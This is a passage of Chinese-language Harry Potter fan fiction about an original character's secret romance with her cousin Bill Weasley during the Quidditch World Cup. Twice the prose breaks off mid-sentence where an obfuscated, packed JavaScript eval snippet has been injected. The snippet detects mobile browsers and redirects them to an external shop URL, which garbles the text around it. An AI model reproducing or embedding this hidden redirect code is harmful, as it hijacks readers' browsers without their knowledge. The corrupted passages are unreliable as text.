七点钟的时候,两张桌子在韦斯莱夫人妙手做出的一道道美味佳肴的重压下,累得直哼哼,韦斯莱一家九口,还有莉安、哈利和赫敏都坐下来吃饭。 莉安就在比尔旁边,因为莫丽就坐在对面,两人对视一眼,都没有说话,只是闷头吃饭,但因为人多比较拥挤,他们的大腿紧紧的贴着彼此,这让她有点不自在,幸好天有些黑,几乎没人能发现她在脸红。 在桌子的那一头,珀西正在告诉父亲他撰写坩埚底厚度报告的情况。 “我对克劳奇先生说,我星期二就能完成,”珀西挺得意的说,“比他预期的要快一些,但我想一切都争取主动,我如果按时完成,他会感到很满意的,因为目前我们司里事情特别多,都忙着筹备世界杯呢,我们从魔法体育运动司得不到太多支持,毕竟卢多·巴格曼——” “我喜欢卢多这个人,”亚瑟温和的说,“多亏了他,替我们弄到这么好的世界杯球赛票,我原先帮过他一个小忙:他弟弟奥多出了点儿麻烦——把一架割草机弄出了许多特异功能,是我把整个事情摆平的。” “是啊,当然啦,巴格曼是挺可爱的,”珀西不以为然的说,“可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727468|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是拿他和克劳奇先生一比,我真不明白他是怎么当上司长的!如果是克劳奇先生发现我们司里有人失踪,一定会着手调查,而不会听之任之,伯莎·乔金斯已经失踪一个多月了!到阿尔巴尼亚度假,再也没有回来。” 听到克劳奇,莉安动作一顿,馅饼落在了盘子里。 “是啊,我向卢多询问过这件事,”亚瑟说着,皱起了眉头,“他说在这之前,伯莎就失踪过好多次——不过说句实话,如果是我司里的人失踪了,我会感到担心…” “但伯莎这个人确实让人很伤脑筋,”珀西说,“我听说这些年,她从一个部门被赶到一个部门,惹的麻烦比做的事情还多…但是不管怎么说,巴格曼还是应该想办法找找她,克劳奇先生个人一直很关注这件事,你知道,伯莎以前在我们司工作过一段时间,我认为克劳奇先生还是很喜欢她的——可巴格曼总是哈哈一笑,说伯莎大概是看错了地图,没到阿尔巴尼亚,而是到了澳大利亚。” “不过,”珀西派头十足的叹了口气,“我们国际魔法合作司要做的事情实在太多了,没有闲工夫替别的部门找人,毕竟世界杯之后,我们还要组织一项大型活动。” 珀西煞有介事似的清了清喉咙,扭头望着桌子边的哈利,他微微抬高了嗓门,“你知道我说的是什么活动,爸,这是最高机密。” 罗恩翻了个白眼,莉安对他后面的话没兴趣,刚想继续吃馅饼,莫丽就开始念叨比尔那枚耳环的事,毕竟这耳环是最近才戴上的,上次莉安可没见过。 “…上面还带着一个可怕的大长牙,真的,比尔,银行里的人怎么说?” “妈,银行里的人根本不关心我穿什么衣服,只要我找回许多财宝就行。”比尔耐心的说。 “你的头发也难看得要命,亲爱的,”莫丽一边说一边慈爱的抚摸着她的魔杖,“我真希望你能让我修剪一下…” 莉安咳嗽了一下,打断了她的话,轻轻的说,“我觉得很好看。” “我也是,”坐在她旁边的金妮说道,“妈,你太落伍了,而且,和邓布利多教授的头发比起来,这根本不算长…” 莫丽瞪着他们三个,似乎不知道要数落谁比较好,可这三个优秀的孩子都是她的心肝宝贝,只好不甘心的偃旗息鼓,而她旁边的弗雷德、乔治和查理正在热烈的讨论世界杯赛。 “肯定是爱尔兰队胜出,”查理嘟嘟囔嚷的说,手里还抓着半个土豆,“他们在半决赛时打败了秘鲁队。” “可是保加利亚队有威克多尔·克鲁姆呢。”弗雷德说。 “克鲁姆是不错,但他只是一个人,爱尔兰队有七个好手呢,”查理不耐烦的说,“不过,我真希望英格兰队能够出线,真是太丢脸了。” “怎么回事?”哈利急切的问,他是格兰芬多球队的找球手,并且也有一把火弩箭飞天扫帚。 “输给了特兰西瓦尼亚队,十比三百九十,”查理愁眉苦脸的说,“表现糟糕透了,威尔士队败给了乌干达,苏格兰队被卢森堡队打得落花流水。” 莉安嘴里的馅饼差点喷出来,十比三百九十!这也太离谱了,她今年暑假忙着决斗训练,为以后成为傲罗做准备,压根儿就没怎么关注世界杯的初赛和半决赛,没想到英格兰队的表现居然这么差! 比尔刚想感叹这个比分,现在也顾不上了,连忙拍了拍她的后背,“怎么呛到了?刚才不是还好好的吗?” “没什么,”莉安顺了口气,端起手边的热可可一饮而尽,给自己压压惊,“我只是觉得英格兰队太菜了,天呐,只进了一个球!” “如果不是你从小就想做傲罗,也许会成为职业球员呢,我听弗雷德和乔治说,你球风很猛啊,是格兰芬多最棒的追球手,连麦格教授都很好看你。”比尔微笑着说。 “但是距离职业球员还差得远呢,”莉安腼腆的说,“也就只有你会夸我了。” 两人相视一笑,一切尽在不言中。 亚瑟变出了一些蜡烛,把渐渐暗下来的园子照亮了,然后大家开始享用莫丽制作的草莓冰淇淋,飞蛾低低的在桌子上飞舞,温暖的空气中弥漫着青草和金银花的香气。 几只地精被那只猫紧紧追赶着,一边飞快的穿过蔷薇花丛,一边疯狂的大笑,这时,一只手从桌子下面伸了过来,握住了她的,莉安悄悄握得更紧了些,从心底里感到满足。 众人还在花园里聊天时,莉安和比尔小心翼翼的溜进了陋居,穿过狭窄的过道,踏上摇摇晃晃的楼梯,那楼梯曲里拐弯,通向上面的几个楼层。 “到了。”他们爬了两层楼梯,来到了比尔和查理的房间里,和莉安之前住的顶楼房间区别不太大,到处都贴着查德里火炮队的海报,那些队员们在墙壁和倾斜的天花板上飞来飞去,还不停的挥手致意,窗台放着几个火龙的模型,活灵活现的喷着火焰,房间里有两张床,看起来有点拥挤。 比尔重重的关上了门,等他回身时,立刻把莉安压在了床上。 “唔…”她没推动身上的少年,便放弃了挣扎,两人唇齿交缠,莉安的手抓在了他的背上,而比尔的手在她身上四处游走。 两人热烈的吻在一起,忘乎所以,直到比尔差点擦枪走火,才喘息着停了下来。 “别,一会儿查理就来敲门了…”莉安抓住了他的手,呻吟着说。 “没办法,房间太少了,弗雷德他们的房间甚至睡了四个人,因为珀西非要一个人一间房,他说他要忙工作。” 比尔顶了她几下,才翻身搂着她,“等我在埃及买个房子…” “难道要私奔吗?”莉安神情黯然的说。 “可是我父母就是私奔的,”比尔拿起她的一缕头发,缠在手指上,“这不是什么大不了的问题。” “但我们不一样,”她失落的叹了口气,“血缘太近了。” “你还会在乎这个吗?”比尔说,“纯血家族近亲结婚并不是什么骇人听闻的事,虽然韦斯莱不在乎那一套,但到底不算太出格。” 莉安的心脏抖了抖,疼得厉害,但最终还是没说什么扫兴的话。 可她也知道,莫丽不会同意的,她一定会是韦斯莱家最激烈的反对他们在一起的那个。 她不想失去热情的姑妈,可也放不下最喜欢照顾自己的比尔,她不知道他们的感情是何时变质的,明明他们是表兄妹…但情难自禁。 她看着比尔英俊的脸,那双和自己一样的蓝眼睛正温柔的望着她。 等他的唇又压上来时,她无助的想叹口气,但嘴已经被堵住了。 今晚她到底该不该放下对他的戒备,不去想这些恼人的事情,而是夺回吻的主动权呢? 她试图找到自己的方向,但不知道怎么才能找到,一切都让她困惑、恐慌,还有些暗喜,她从未如此害怕过,也不敢告诉过任何人她如此害怕,从来没有。 莉安悲哀的想,前方是一片荨麻地,他们只能光脚蹚过去。 3. 集会 莉安觉得自己根本没有睡多久,莫丽姑妈就来到房间把赫敏和金妮叫醒了。 “该走了,金妮,亲爱的。”她小声说,一边又走过去唤醒赫敏。 莉安睁开眼睛,感觉外面还是一片漆黑,她看见床脚处有两个不规则的黑影从乱糟糟的毯子下面冒出来,而莫丽注意到她醒了,立刻柔声说道,“你会幻影显形,再睡会吧亲爱的。” 莉安感觉自己已经睡不着了,便也坐了起来,“没关系,姑妈。” “怎么,已经到时间了?”金妮睡眼惺松的问。 她们默默穿衣服,下楼走进厨房,一边还在打哈欠,伸懒腰。 莫丽继续搅拌炉子上一口大锅里的东西,亚瑟坐在桌旁,核对一扎羊皮纸做成的大张球票,他穿着一件像是高尔夫球衣一样的上衣和一条很旧的牛仔裤,裤子穿在他身上有点儿嫌大,他用一根宽宽的牛皮带把它束住了。 “怎么不见比尔、查理和珀西?”金妮说着,控制不住又打了个大哈欠,她面色苍白,看起来根本没睡醒。 “他们不是会幻影显形吗?”莫丽把那口大锅放在桌上,开始把粥舀进一只只碗里,“所以他们可以睡一会儿懒觉。” “这么说,他们还在呼呼大睡?”弗雷德气恼的问,“为什么我们不能也幻影显形呢?” “因为你们还不到年龄,还没有通过考试。”莫丽回敬他一句。 “幻影显形还要通过考试?”哈利问。 “噢,是的,”亚瑟说着,把球票仔细的塞进牛仔裤后面的口袋里,“有一天,魔法交通司对两个人处以罚款,因为他们没有证书就擅自幻影显形,这可不是一件容易的事,如果做得不对,就会惹出麻烦,很讨厌的,我说的那两个人最后就身首分家了。” “哦?分家?”哈利问。 “他们把自己的半个身子丢下了,”亚瑟舀了很多糖浆,拌进他的粥里,“所以,自然啦,他们就被钉在了那里,两边都动弹不得,只好等逆转偶发事件小组去处理这件事,告诉你吧,这意味着要准备大量的文件材料,那些麻瓜看见了他们丢下的支离破碎的身体…” “他们没事吧?”哈利惊恐的问。 “噢,没事,”亚瑟说,“不过他们被狠狠的罚了一笔,我想他们大概不会再仓促行事了,你可千万不要拿幻影显形当儿戏,许多成年巫师都不愿惹这个麻烦,他们情愿用扫帚,虽然慢一些,可是安全。” “查理考了两次才通过,”乔治嘻笑着说,“他第一次考砸了,在离原定目标以南五英里的地方显形,落到一个正在买东西的可怜的老太太的头顶上,记得吗?” “是啊,不过他第二次就通过了,”弗雷德说,“珀西是两个星期前才通过的,从那以后,他每天早晨都幻影显形到楼下,就是为了证明他有这个本事。” “我们要走一段路呢。”亚瑟说。 “走路?”哈利问,“怎么,我们步行去观看世界杯?” “不,不,那就太远了,”亚瑟笑着说,“我们只需走一小段路,把大批巫师集合到一起而不引起麻瓜的注意,这是非常困难的,我们不得不非常谨慎,选择最佳时间上路,在魁地奇世界杯赛这样盛大的场合——” “乔治!”莫丽突然厉声喝道,把大家都吓了一跳。 “怎么啦?”乔治说,他假装什么事也没有,可是骗不了人。 “你口袋里是什么?” “没什么!” 莉安感觉什么东西快速飞进了自己口袋里,她诧异的望着双胞胎。 “不许对我说瞎话!”韦斯莱夫人用魔杖指着乔治的口袋,念了飞来咒,“Accio! ” 但是什么也没发生,莉安低头掏了掏自己的口袋,发现是一堆花花绿绿的小玩艺儿,她立刻又把东西紧紧的按回口袋里。 “东西呢?我刚才看到了!”莫丽怀疑的看着双胞胎,“扔掉这些劳什子!快把口袋掏空,快点,你们两个!” “妈妈!我口袋里什么也没有!”乔治激烈的反驳,弗雷德也是,兄弟两个都把口袋翻过来给她看,痛心疾首的控诉道,“你怎么可以冤枉我们!” “Accio! Accio! Accio! ”莫丽一连声的喊道,乔治夹克衫的内衬以及弗雷德牛仔裤的翻边都飘荡着翻了过来,但是里面什么也没有。 “都说了没有!”弗雷德委屈的喊道。 “那你们给我解释解释那张订货单和那些假魔杖、玩具和糖果是什么!”韦斯莱夫人尖声说道,“怪不得你们O.W.Ls考不出好成绩呢!” 气氛不是很友好,他们离开时,莫丽亲吻亚瑟的面颊仍然板着面孔,双子的态度更坏,他们把帆布背包甩到背上,一句话没对妈妈说就走了出去,但是两人偷偷对莉安挤眉弄眼,示意她把东西带到世界杯的营地去。 “再见,祝你们玩得痛快,”莫丽说,“表现好一点儿。” 她冲着双子离去的背影喊道,可是他们既没有回头,也没有回答。 “我中午的时候让莉安、比尔、查理和珀西上路。”她对亚瑟说。 这时,亚瑟和哈利、罗恩、赫敏、金妮穿过漆黑的院子,跟在弗雷德和乔治后面出发了。 背锅侠莉安:……这一口袋肥舌太妃糖! 等他们走后,莉安战战兢兢的看着姑妈,就怕她对自己也用飞来咒,不过莫丽转向她时,脸色立刻温柔了许多。 “来点香肠吧,”莫丽哗啦啦往她盘子里倒了三根香肠和两个荷包蛋,“你太瘦了…” “我不瘦,姑妈,”莉安硬着头皮说道,“我只是个子太高所以显瘦。” “吃吧!”莫丽用温和但不容置疑的语气说,然后虎视眈眈的盯着她的盘子。 莉安把盘子里的东西吃了个精光,又喝了半碗粥,实在吃不下了,因为吃得太撑,她突然又困了,决定上楼去睡个回笼觉,莫丽感到非常满意,望着她的背影消失在楼梯上,然后转身魔杖对着水池一点,碗碟就哗啦哗啦被水冲着自动清洗起来。 等莉安打开吱嘎吱嘎的卧室门时,不出意外的发现比尔已经躺在她床上了。 她无奈的把口袋翻过来,一大堆恶搞道具稀里哗啦的掉在金妮那张小床上。 “他们两个是不是又被妈妈发现了?”比尔笑了笑,“然后塞进了你的口袋里,妈妈什么也没找到,所以她在楼下发火,把我都吵醒了。” “是啊,他们两个想搞一个商店,但是没有那么多钱,只能在格兰芬多休息室里面叫卖,我想等他们攒够了钱,大概会去买一个店铺。”莉安叹了口气,也躺了下来。 “我觉得这很好,他们并不太在乎成绩,”比尔把她拉进怀里,“但是妈妈想让他们进入魔法部,因为这次他们的O.W.Ls证书没几张,她脾气变得有些暴躁了。” “对啊,你当初可是拿了12张证书,让他们几个压力很大,”莉安侧着身子靠在他肩膀上,单手推着他的胸膛,“我也是,毕竟我只拿了9个O,幸好傲罗只要5张证书。” “据说魔法部好几年都没有招收傲罗了,”比尔的指尖摩挲着她的腰,轻声说,“如果你真的打算做傲罗,不得不说,因为现在不是战争年代,其实部里不怎么缺人手。” “但是我想像父亲一样,”莉安突然直起上身看他,郑重的说,“我知道凤凰社已经解散了,可我是普威特,成为傲罗是我的追求,现在普威特家族只有我一个人,我必须重振门楣。” “好吧,我知道你的努力,乔治和弗雷德都告诉我了,你在决斗俱乐部的表现不错,弗利维教授还教会了你很多决斗咒语,但是我有点心疼…” “倒也不用…”莉安嘟囔了一句,又被比尔强行按在胸口上。 “再睡会,中午我们就去营地。” 一阵窸窸窣窣的衣料摩擦声。 “可是我看你不像要睡觉的样子…” “我哄你睡。” 莉安:……行吧,更睡不着了! 中午时,比尔悄悄溜回了他的房间,等莫丽来敲门时,他和查理露出了一副一模一样的睡眼惺忪的表情。 珀西不耐烦的从单人卧室中走了出来,他的头发用速顺滑发剂打理的一丝不乱,看起来派头十足。 莉安刚出门,就听到珀西在那里“克劳奇先生认为…我是这样对克劳奇先生说的…克劳奇先生是这样想的…克劳奇先生告诉我…” 最后他用一句“他们现在随时都会宣布正式聘用我”结束了这段喋喋不休的独角戏。 查理温和的笑了笑,倒是比尔不以为意,推着珀西的后背催促他往下走,“不要挡住楼梯,快去吃饭,然后我们幻影移形。” 莫丽看到赫洛除了拖着行李箱之外,还背着一个双肩包,不由得有些疑惑。 “咳,是打算买一些纪念品回学校分给同学,”莉安掩饰性的轻咳一声,“箱子里是我的衣服和书,等看完比赛我就回去。” “你不留在这儿了吗?”莫丽可惜的说。 “不了姑妈,这几天陋居人太多了,这对你来说是一个大工程,”莉安搂着她的手臂,亲亲热热的说,“反正还有一年我就毕业了,到时候我们相处的日子还多呢。” “那好吧,”莫丽被她哄得心花怒放,“你们直接幻影移形吧,我想亚瑟已经把饭做好了。” “你不去吗?”莉安看她仍然围着那条大围裙,错愕的说。 “我去了谁来喂鸡呢?”莫丽摇了摇头,“好了亲爱的,快去吧,祝你们玩得开心。” 她拥抱了莉安和她的三个儿子,并吻了他们的面颊。 莉安感觉有点心酸,这时,比尔牵着她的手,几人幻影移形了。 一阵不舒服的挤压感过后,他们落在一大片树林里,远处是隐隐绰绰的高大建筑,看起来像个巨大的体育馆,他们停顿了一会儿,往相反的方向走去。 大概步行了十分钟,树林出口的方向传来阵阵香味,他们刚离开树林,就看到了营地成百上千奇怪的帐篷。 离他们最近的一个帐篷外面,亚瑟正在炉子边煎鸡蛋,煮香肠。 “刚刚幻影显形过来,爸爸,”珀西大声说道,“啊,太棒了,有好吃的!” 亚瑟递给他们一人一个盘子,“拿着吧,我的孩子们,刚才罗恩他们三个去另一头汲了水,哈利又帮我弄明白了那个火柴怎么使用,啊真奇妙啊…麻瓜的东西,他们可真聪明,多亏了哈利我们才能把火生起来…” 他们美美的吃着鸡蛋和香肠,刚吃了一半,亚瑟突然跳了起来,笑着向一个大步走过来的男人挥手致意。 “哈哈!”他说,“当前最重要的人物!卢多!” 魔法体育司司长卢多·巴格曼穿着长长的魁地奇球袍,上面是黄黑相间的宽宽的横道,胸前泼墨般的印着一只巨大的黄蜂——他原来是个职业魁地奇球员,是八十年代温布恩黄蜂队的击球手,看样子,他原先体格强健,但现在开始走下坡路了,长袍紧紧的绷在大肚子上,他当年代表英国打魁地奇比赛时,肚子肯定没有发福,他的鼻子扁塌塌的,据说是被一只游走球撞断了鼻梁,但他那双圆溜溜的蓝眼睛、短短的金黄色头发,还有那红扑扑的脸色,都使他看上去很像一个块头过大的男生。 “啊嗬!”巴格曼开心的喊道,他走路一蹦一跳的,仿佛脚底下装了弹簧,他显然正处于极度兴奋的状态。 亚瑟,老伙计,”他来到簧火边,气喘吁吁的说,“天气多好啊,是不是?天气太棒了!这样的天气,哪儿找去!晚上肯定没有云…整个筹备工作井井有条…我没什么事情可做!” 在他身后,一群面容憔悴的魔法部官员匆匆跑过,远处有迹象表明有人在玩魔火,紫色的火花蹿起二十多英尺高。 珀西急忙上前一步伸出手去,显然,虽然对他巴格曼管理他那个部门的方式不以为然,但这并不妨碍他想给别人留下一个好印象。 “啊对了,”亚瑟笑着说,“这是我儿子珀西,刚刚到魔法部工作,这是弗雷德——不对,是乔治,对不起——那才是弗雷德,这是比尔、查理、罗恩,还有我的女儿金妮,我的侄女莉安·普威特,这是罗恩的朋友,赫敏·格兰杰和哈利·波特。” 听到哈利的名字,巴格曼微微有些吃惊,他的眼睛立刻扫向哈利额头上的伤疤。 “我来给大家介绍一下,”亚瑟继续说道,“这位是卢多·巴格曼,你们知道他是谁,我们多亏了他,才弄到这么好的票——” 巴格曼满脸堆笑,挥了挥手,好像是说这不算什么。 莉安三两口把鸡蛋塞进嘴里,又示意赫洛把双肩包递给双子,她眨了眨眼睛,“你们要的东西。” 双子对她抛了个媚眼,三人心照不宣。 “我先回去我的地方去了,还得去搭帐篷呢。”莉安对亚瑟说。 “需要帮忙吗?帐篷可不太好搭…” “不用了亚瑟,”莉安笑着说,“我很懂麻瓜的东西。” “哦对,你有麻瓜研究的证书,”亚瑟点点头,“去吧莉安,别忘了下午有巫师小贩的集会。” “没问题,到时候比尔可以来接我。”莉安笑了笑,跟众人告别。 她先是去营地的麻瓜管理员那里取回了普威特家族预订的一顶帐篷,然后去寻找自己的营地位置,从营地上两排长长的帐篷间穿过。 大多数帐篷看上去没什么特殊,显然,它们的主人费了心思,尽可能把它们弄得和麻瓜的帐篷一样,可是有的一不小心做过了头,画蛇添足的加上了烟囱、拉铃绳或风向标,弄得不伦不类。 不过,偶尔也有那么几个帐篷,一看就知道是施了魔法的,在营地中央,有一个帐篷特别显眼,它十分铺张的用了大量的条纹绸,简直像个小小的宫殿,入口处还拴着几只活孔雀—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727469|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用想,这绝对是马尔福家族的帐篷。 再前面一点,她又看见一个帐篷搭成四层高楼的形状,旁边还有几个角楼,再往那边,还有一个帐篷的门前带有一个花园,里面鸟澡盆、日冕仪、喷泉等样样俱全。 她来到了营地汲水附近的地方,跟韦斯莱家的帐篷几乎遥遥相望,这里有一小片空地,地上插着一个小小的牌子,上面写着:普威特。 “不许使用魔法,但是我其实不会搭帐篷。”莉安慢吞吞的说,她鬼鬼祟祟的瞄了瞄四周,掏出了魔杖,于是帐篷快速的自动搭建起来。 等支杆和螺钉到了正确的位置,帐篷也完美成型了,赫洛解除了小精灵的魔法,钻进去从内部替换成魔法帐篷,但外表还是跟麻瓜的帐篷没什么两样。 就在莉安欣赏自己的杰作时,她不经意间看到了隔壁低调的白色帐篷,它看起来十分麻瓜,简直就像麻瓜亲手搭的,装饰简约,在一众奇形怪状的帐篷中显得鹤立鸡群。 她又看了看帐篷前的小牌子:克劳奇。 真糟心! 莉安想起了那个大坏蛋,唾弃了一声,但她很快就收起了怒容,变得有些怔怔的。 据说巴蒂·克劳奇二世被关进阿兹卡班不到半年就死去了,1982年时,他的讣告登上了《预言家日报》,那时舆论风向变了,巴蒂·克劳奇一世在公众心目中的威信急剧下降,人们开始更多的同情儿子,并且提出疑问:为什么一个来自良好家庭的孩子会走上这样的邪路?得出的结论是他父亲从来不怎么关心他,所以,康奈利·福吉坐上了第一把交椅,巴蒂·克劳奇一世被平调到了国际魔法合作司。 她手上只有那张从报纸上剪下来的入狱照,她把它贴在床头上,一开始她是气愤的,希望这张照片时刻提醒自己,食死徒是如何残害魔法界那些普通人的,他们对那些反对他们的巫师进行了一系列惨无人道的折磨和谋杀,她的父亲和叔叔为了对抗黑魔头和他的残暴统治,英勇的反抗,最后被五个食死徒围杀,他们战斗到了最后一刻都没有投降。 但是,随着时间流逝,她又不禁有些疑问,为何身为食死徒的他没有杀死自己呢?他明明知道自己是普威特这个骁勇善战的格兰芬多世家最后一位成员,她当时也才四岁,甚至都没有魔杖,根本无法反抗,而斩草除根才符合食死徒的行事作风。 他会是无辜的吗?像他哭诉的那样。 不,他不是,莉安反反复复告诉自己,他闯进了自己的房子,威胁说要杀了自己,就算别人会被他那副可怜兮兮的模样欺骗,但她不会,她亲眼见过他那副恶劣的模样,像摆弄一个会动的玩偶那样对待她,漫不经心、草率、又充满兴趣,像一个邪恶的小孩子拿到了他想要的玩具那样,他的确是个罪大恶极的食死徒。 她给自己做了心理建设,正要钻进帐篷时,克劳奇的帐篷里却突然跌跌撞撞的钻出来一个小精灵。 她有一双巨大的棕色眼睛和一只形状和大小都像一个大蕃茄的鼻子,和赫洛一样的长长的、蝙蝠似的大耳朵。 她正在奋力挣扎,动作非常古怪,看起来既想出帐篷又不想,在门口进进出出的徘徊,似乎行动的特别费劲,就好像有一个看不见的人正在把她拉出去。 “闪闪要留在帐篷里,听主人的话!” 她喘息,尖叫,与那股束缚她的力量博斗着,最终又钻回了帐篷里。 莉安皱了皱眉,但每个家养小精灵的性格都各不相同,便没有多在意这件事,迫不及待的回到帐篷里打算睡一觉再说。 帐篷里是一套温馨的两居室,到处挂着风铃和贝壳,还有浴室和厨房,她迫不及待的躺到床上,等帐篷门口传来一阵轻微的响动,随后一个熟悉的身体靠过来,把她搂进怀里,这才安心的闭上了眼睛。 随着下午的过去,一种兴奋的情绪如同一团可以触摸到的云在营地上弥漫开来,黄昏时分,就连寂静的夏日空气似乎也在颤抖的期待着。 当夜色像帘幕一样笼罩着成百上千个急切等待的巫师时,最后一丝伪装的痕迹也消失了:魔法部似乎屈服于不可避免的趋势,不再同人们作对,听任那些明显使用魔法的迹象在各处冒出来。 每隔几步,就有幻影显形的小贩从天而降,端着托盘,推着小车,里面装满了稀奇古怪的玩艺儿,有发光的玫瑰形徽章——绿色的代表爱尔兰,红色的代表保加利亚——还能尖声喊出队员们的名字,有绿色的高帽子,上面装点着随风起舞的三叶草,有保加利亚的授带,印在上面的狮子真的会吼叫,有两国的国旗,挥舞起来会演奏各自的国歌,还有真的会飞的火弩箭小模型,有供收藏的著名队员塑像,那些小塑像可以在手掌上走来走去,一副得意洋洋的派头。 “比尔,你喜欢什么?”莉安穿过那些小贩时,一边扫荡纪念品,一边把一顶跳舞三叶草的帽子戴在他头上。 “我觉得这个帽子就不错。”比尔压住了帽沿,虽然看上去有些滑稽,不过他非常英俊,这帽子并未损伤丝毫他的俊美。 莉安买了保加利亚找球手威克多尔·克鲁姆的一个小塑像,让他在比尔手上来来回回的走,但他仿佛有灵魂似的,一直瞪着比尔的帽子。 “这东西不错!”莉安走到一个小推车前看了又看,那车里高高堆着许多像是双筒望远镜的东西,可上面布满了各种各样稀奇古怪的旋钮和转盘。 “全景望远镜,”巫师小贩热情地推销道,“可以重放画面…用慢动作放…如果需要的话,它还能迅速闪出赛况的分析,成交吧——美丽的小姐,十个加隆一架。” “打折吗?”比尔干脆的说。 那小贩微微吃了一惊,但很快就点头,痛快的说,“两位俊男美女,光是看到你们我就心情舒畅——八折!” “比尔你好棒!”莉安毫不迟疑的买了全景望远镜,又把望远镜挂在他们彼此的脖子上。 “干嘛给我?”比尔挑了挑眉毛说,“解咒员工资很高。” “但是我需要你帮我拿东西,”莉安有点害羞,小声嘀咕道,“何况我只是想让表哥用我的东西…” 比尔双手拿满了东西,不然他一定要捏一下她泛红的脸蛋,他一向对人不假辞色甚至显得有些冷冰冰的表妹,此刻看起来温柔极了。 大概这就是沉浸在爱情中的女孩子吧。 “那我买两份比赛说明书。” 逛完集市,他们又回到了韦斯莱的帐篷,比尔和莉安把绿色的体育徽章戴在胸前,查理和金妮也买了这些,清一色的绿色装扮,哈利三小只满载而归,亚瑟也举着一面爱尔兰国旗,只有弗雷德和乔治什么纪念品也没买,因为他们把金币全部给了巴格曼下注。 这时,树林远处的什么地方传来低沉浑厚的锣声,立刻,千盏万盏红红绿绿的灯笼在树上绽放光明,照亮了通往赛场的道路。 “时间到了!”亚瑟兴奋的说道,“快点儿,我们走吧!” 4. 相见 “可以容纳十万观众,”亚瑟指着树林另一头那座巨大的体育馆的阴影说道,“魔法部五百个工作人员为此忙碌了整整一年,这里的每一寸地方都施了驱逐麻瓜咒,这一年当中,每当有麻瓜接近这里,他们就会突然想起十万火急的事情,匆匆的走开…愿上帝保佑他们。” 他慈爱的说完,领着大家走向最近的入口处,那里已经围满了许多大喊大叫的巫师。 “一等票!”入口处的那位魔法部女巫师看了看他们的票说道,“顶层包厢!一直往楼上走,亚瑟,走到最顶上。” 通向体育馆的楼梯上铺着紫红色的地毯,他们和人群一起拾级而上,慢慢的那些人流分别进了左右两边的看台,亚瑟领着他们一行人一直往上走,最后到了楼梯顶上。 他们来到了一个小包厢里,位置在体育馆的最高处,而且正对着金色的球门柱,这里有二十来张紫色和镀金坐椅,分成两排,莉安跟着韦斯莱一家排队坐进了前面一排,朝下面望去,那情景简直惊人的盛大。 十万巫师正在陆陆续续的就座,那些座位围绕着椭圆形的体育馆,呈阶梯形向上排列,这里的一切都笼罩着一种神秘的金光,这光芒仿佛来自体育馆本身,从他们的位置居高临下的望去,赛场就像天鹅绒一样平整光滑,赛场两边分别竖着三个投球的篮圈,有五十英尺高。 莉安紧贴着比尔,但是金妮也很黏她的大哥,所以两人一左一右的把比尔夹在了中间,她坐在最里面,她回头望了望,包厢里还没有什么人,只是在他们后面一排的倒数第二个座位上坐着那个克劳奇家的小精灵。 她的两条腿很短,只能伸在它前面的椅子上,身上围着一条擦拭茶具的茶巾,像穿着一件宽松的袍子,脸埋在两只手里。 “多比?”哈利对小精灵打了个招呼。 那小家伙抬起头来,哈利立刻反应过来,“对不起,我把你当成我以前认识的一个人了。” 但是叫闪闪的小精灵也认识多比,于是他们你一言我一语的聊了起来。 闪闪双手捂着脸认真的说,“家养小精灵完全听从主人的吩咐,我有恐高症,哈利·波特。” 她又朝包厢边缘扫了一眼,吸了口冷气,“可是我的主人派我到顶层包厢来,我就来了,先生。” “他明明知道你有恐高症,为什么还要派你到这儿来?”哈利不满的皱起眉头,问道。 “主人要我给他占一个座位,哈利·波特,他太忙了,”闪闪侧过脑袋,望了望她旁边空空的座位,“闪闪真希望能回到主人的帐篷里,哈利·波特,但是闪闪听从吩咐,闪闪是个很乖的家养小精灵。” 她又恐惧的看了看包厢边缘,赶紧把眼睛完全捂住了。 莉安注意到了她旁边空着的位置,就在自己正后方,但她没有多在意,头慢慢靠在了比尔肩上,那条强壮的手臂慢慢搭了过来,落在她的椅背上,指尖抚摸着她的颈窝。 在接下来的半小时里,他们所在的包厢里渐渐坐满了人,亚瑟在魔法部人缘极好,不停的与人握手,那些人一看就是很有身份的大巫师。 珀西一次次的匆忙站起,看上去就像坐在满身是刺的豪猪背上,当魔法部部长康奈利·福吉本人驾到时,珀西因鞠躬鞠得太低,眼镜掉在地上,摔得粉碎,他尴尬极了,用魔杖修好镜片,然后就呆呆的坐在座位上。 福吉像父亲一般慈祥的握着哈利的手,向他嘘寒问暖,并把他介绍给坐在旁边的巫师。 “啊,卢修斯来了!” 莉安立刻转过头去,挤进亚瑟后面第二排仍然空着的三个座位的,正是卢修斯·马尔福、他的儿子德拉科,还有德拉科的母亲。 她轻蔑的望了卢修斯一眼,心里发誓如果有机会一定会把这用夺魂咒脱罪的家伙抓进阿兹卡班! 那条手臂仿佛感觉到了她的情绪起伏,立刻握住了她的肩膀,莉安朝比尔望去,只见他微微摇了摇头。 卢修斯最近刚给圣芒戈魔法伤病医院捐了很大一笔款子,他是福吉请来的贵宾,所以哪怕韦斯莱一家知道这家伙是个真正的食死徒,也只能忍气吞声。 “大家都准备好了吗?”卢多·巴格曼冲进了包厢,他圆圆的脸像一块巨大的球形干酪一样闪闪发亮,“部长,可以开始了吗?” “你说开始就开始吧,卢多。”福吉和蔼的说。 